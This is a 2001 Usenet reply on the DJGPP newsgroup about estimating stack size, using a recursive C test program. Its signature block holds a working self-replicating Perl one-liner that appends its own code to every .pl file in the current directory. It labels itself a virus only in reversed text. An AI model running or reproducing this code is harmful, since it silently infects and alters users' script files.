From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: trouble with classes (for me a unexplainable crash) References: <987710007 DOT 24446 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl> <987712178 DOT 25575 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl> <987769258 DOT 17780 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl> X-newsgroup: comp.os.msdos.djgpp X-realname: Santing, Peter X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Fri, 20 Apr 2001 15:16:22 +0200 Lines: 30 NNTP-Posting-Host: 213.6.171.113 X-Trace: 987772912 news.freenet.de 26220 213.6.171.113 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Santing, Peter wrote: > Question:.. how big is the stack anyway??? Not very big. I do not know, but you can test using this: int main (int argc) { char x[1024]; printf ("%d\n", argc); main (argc + 1); } Round up the number to the next small multiple of a power of two and you have the stack size in kb. On my Linux PC it starts to swap, so the stack is unlimited there (AFAIK such arrays are put on the stack, too). I get the same result when I put a (perl-generated) file containing declarations int a1; int a2; . . . int a256; here. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################